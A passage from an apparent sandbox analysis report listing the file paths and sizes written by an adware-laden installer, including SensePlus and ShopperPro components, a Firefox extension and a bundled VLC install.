C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\bjykvuw.dll (3730 bytes)
%Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe (8330 bytes)
%Program Files% (x86)\SensePlus\utils.exe (72193 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\jwkgq.dll (14 bytes)
%Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b.xpi (2321 bytes)
C:\Windows\Tasks\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\414555 (89639 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\abxbingaf.dll (23 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\frhpnmmmq.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\abxqftls.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.dll (38103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\System.dll (808 bytes)

The process DCytaiesmt_smtyc_setup.exe:3436 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_sense.exe (48447 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_iwebar.exe (47451 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_yta.exe (36468 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_shopperpro.exe (17275 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26658\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process DCytaiesmt_smtyc_setup.exe:3972 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2060\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process spbiu.exe:3144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:3740 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process F391.tmp:2924 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\NSISEncrypt.dll (3320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\WmiInspector.dll (3137 bytes)

The process 59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe:1636 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7b4de7698c7a2122e6793e2fe80818d8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\04e52bf02082003e45ee687b982a8a6b.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2be628d70b2e680652d11b13c9150930.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e984e2c387b67d86dee8291576209331.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9867801f2d9e889593446399b85a609d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e8a15022f73eb04bc4bb6916664e0e66.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\038bc8c8553e19390af61cf6c8acff5a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fb2469a6160bf30b05c4fba585e86687.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\33427ea74398dc29f702578c36a93658.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\107732ee1c8f02595f060adc39c63df7.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0130e9d60b0f0f853b6be0c924e561b4.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2efa0ace63878dcdadab972c902fd6cd.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9417a392b4bcbc0cdf93f9ac3b95c6fa.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e868b0adcc83fbb5a30cbe470d216cec.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\3b9295a47b758bb6efd75e684d72ef5a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\96c22d0f7f716fb6462f9ae2cd2bc77b.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\be697af2c27508d7129f9fa5d265788b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1666b41fdc6200153afb966bca6a9176.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f43197f11972eef081e842dc9145480b.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\54044ccf2ac96ea7a347f52b0e606a93.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9409d92377a14c9dda2bf67813bdcd0f.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c5868f9d38e5324818326b74543d9da5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\bce9ab2aa286841e0c312483697dc4db.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4c83374dfa602d533dd87098b417f62b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9e97f372752b49b0ef9e634c05afe0ea.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2d0f6ef5c7cdd3e9ede884271521d04a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7379aa3a399a1c1034b9118532ec2713.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\889471bd55e5fc466e50d63f831877a3.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a1332804401e2341704004b8140f174e.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\17d4e6b377b93060e78bda5eb117c032.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c306dae73ce035da7a5f3ee3d511d82b.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\72cf8f8b44927bb6c49af250838beb66.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9e8aecef9183c38d37f71e95b300cc06.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\721bfd909acd32e50c58124b20e7a201.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ddd456964a5c5a4cff8f91d4824a6716.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5c48f5d342d65ea593a9d92ec0d1f3d4.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b77ed160ff505ecfeb9f307517848274.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e9f745e7f860ea256f1624f065a02f8f.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4ac8ca25e5e018bb5fda96d7b892cee6.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\94e06fae0b9ef72a64eb5f16eb8cceb3.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7a984e7a5abe2e86a9528cd1579e66eb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\43c1647b965bee679dc2a3a981cc0d50.js (5 bytes)

The process vlc-2.0.4-win32.exe:1900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (330738 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (12024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\LangDLL.dll (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (4992 bytes)
